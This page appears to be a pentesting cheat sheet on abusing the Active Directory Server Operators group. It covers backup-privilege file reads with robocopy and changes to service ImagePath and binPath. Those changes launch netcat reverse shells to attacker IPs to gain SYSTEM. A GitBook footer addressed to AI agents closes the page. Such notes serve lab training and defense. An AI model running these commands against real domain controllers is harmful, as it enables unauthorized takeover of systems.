> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/tl-dr/active-directory/groups/server-operators.md).

# Server Operators

## Information

Server Operators exists only on DCs and are used for managing the DC as a whole, including service configurations and files. They can create and delete network shared resources, **start and stop services**, **back up and restore files**, and **change installed binaries** on the DCs. This group is considered a **service administrator** account because its members have physical access to DCs.

> Well-known SID/RID: `S-1-5-32-549`.

<table><thead><tr><th width="221">Privileges</th><th>Description</th></tr></thead><tbody><tr><td><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/back-up-files-and-directories">SeBackupPrivilege</a></td><td>Allows us to create backups of any files, whilst not restoring their permissions, which equals to <strong>arbitrary read access</strong>.</td></tr><tr><td><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/restore-files-and-directories">SeRestorePrivilege</a></td><td>Allows us to <strong>overwrite legitimate executable files</strong> with versions that include malicious software used for <strong>privilege escalation</strong>.</td></tr></tbody></table>

## Exploitation

### Accessing Files

<pre class="language-powershell"><code class="lang-powershell"><strong># copy "restricted" data
</strong><strong>robocopy /b C:\users\administrator\desktop C:\programdata\temp
</strong></code></pre>

For an example of the above method check [here](/boxes/boxes/insane/multimaster.md#sebackupprivilege).

### ImagePath

Member of this group has the ability to manage services. By modifying the `ImagePath` of a service we can gain `SYSTEM` level access.

{% code overflow="wrap" %}

```powershell
# change ImagePath
reg add "HKLM\System\CurrentControlSet\services\wuauserv" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\spool\drivers\color\nc64.exe -e powershell.exe 10.10.14.6 1337" /f
# confirm change
reg query "HKLM\System\CurrentControlSet\services\wuauserv"
# start service
Start-Service wuauserv
```

{% endcode %}

For an example of the above method check [here](/boxes/boxes/insane/multimaster.md#server-operators).

### binPath

Similar to [`ImagePath`](#imagepath), we can change the `binPath`.

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong># change binPath
</strong><strong>sc.exe config browser binPath= "C:\programdata\nc64.exe -e cmd.exe 10.10.14.19 443"
</strong><strong># stop the service
</strong>sc.exe stop browser
# start the service
sc.exe start browser
</code></pre>

## Resources

{% tabs %}
{% tab title="First Tab" %}
{% embed url="<https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#server-operators>" %}
{% endtab %}

{% tab title="Exploitation" %}
{% embed url="<https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/>" %}
{% endtab %}
{% endtabs %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://x7331.gitbook.io/boxes/tl-dr/active-directory/groups/server-operators.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.